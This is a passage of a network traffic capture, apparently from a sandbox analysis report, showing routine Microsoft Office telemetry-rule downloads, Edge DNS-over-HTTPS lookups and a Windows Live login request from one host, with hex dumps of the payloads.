N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.7	60798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:43 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:43 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:43 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: e3d9936e-401e-0083-0609-37075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212043Z-1866b5c5fbblmqrkhC1DFWf9ns00000002z0000000009tmw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:43 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.7	60802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:43 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:43 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:43 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: b3f05f3e-001e-0065-58c4-380b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212043Z-164f84587bf7k72dhC1DFWvczs00000004xg000000004zgd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:43 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.7	60800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:43 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:43 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:43 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 9eb36ff5-301e-0099-1bac-386683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212043Z-164f84587bfsgfx9hC1DFWw1as00000004pg00000000ghvu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:43 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.7	60801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:43 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:43 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:43 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: e00571ae-f01e-0052-6cd2-379224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212043Z-16547b76f7f6nr89hC1DFWz7ug0000000170000000006un2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:43 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.7	60799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:43 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:43 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:43 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 01685b32-c01e-00a1-6c98-387e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212043Z-1866b5c5fbbfhwqqhC1DFW5138000000047000000000e9y5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 21:20:43 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.7	60806	172.64.41.3	443	5924	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:43 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-17 21:20:43 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-17 21:20:44 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 17 Nov 2024 21:20:44 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e42c4334e00e599-DFW alt-svc: h3=":443"; ma=86400
2024-11-17 21:20:44 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 2c 00 04 8e fb 74 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom,t^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.7	60807	162.159.61.3	443	5924	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:44 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-17 21:20:44 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-17 21:20:44 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 17 Nov 2024 21:20:44 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e42c4339daf6b17-DFW alt-svc: h3=":443"; ma=86400
2024-11-17 21:20:44 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 24 00 04 8e fa 73 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom$s^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.7	60803	40.126.32.72	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:44 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-17 21:20:44 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-17 21:20:44 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sun, 17 Nov 2024 21:19:44 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_BL2 x-ms-request-id: be8caf87-7ea1-4d90-a1be-562448183998 PPServer: PPV: 30 H: BL02EPF0002791C V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sun, 17 Nov 2024 21:20:44 GMT Connection: close Content-Length: 1276
2024-11-17 21:20:44 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.7	60805	172.64.41.3	443	5924	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:44 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-17 21:20:44 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-17 21:20:44 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 17 Nov 2024 21:20:44 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e42c4355b6c6b3d-DFW alt-svc: h3=":443"; ma=86400
2024-11-17 21:20:44 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 5b 00 04 8e fa 72 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom[r^)

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.7	60808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:44 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:44 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:44 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 14be5296-801e-008c-31af-367130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212044Z-1866b5c5fbbldb6rhC1DFW4bew0000000550000000002m2b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:44 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.7	60823	172.64.41.3	443	5924	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:44 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-17 21:20:44 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-17 21:20:44 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 17 Nov 2024 21:20:44 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e42c4389fdd6998-DFW alt-svc: h3=":443"; ma=86400
2024-11-17 21:20:44 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 e1 00 04 8e fa 73 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data 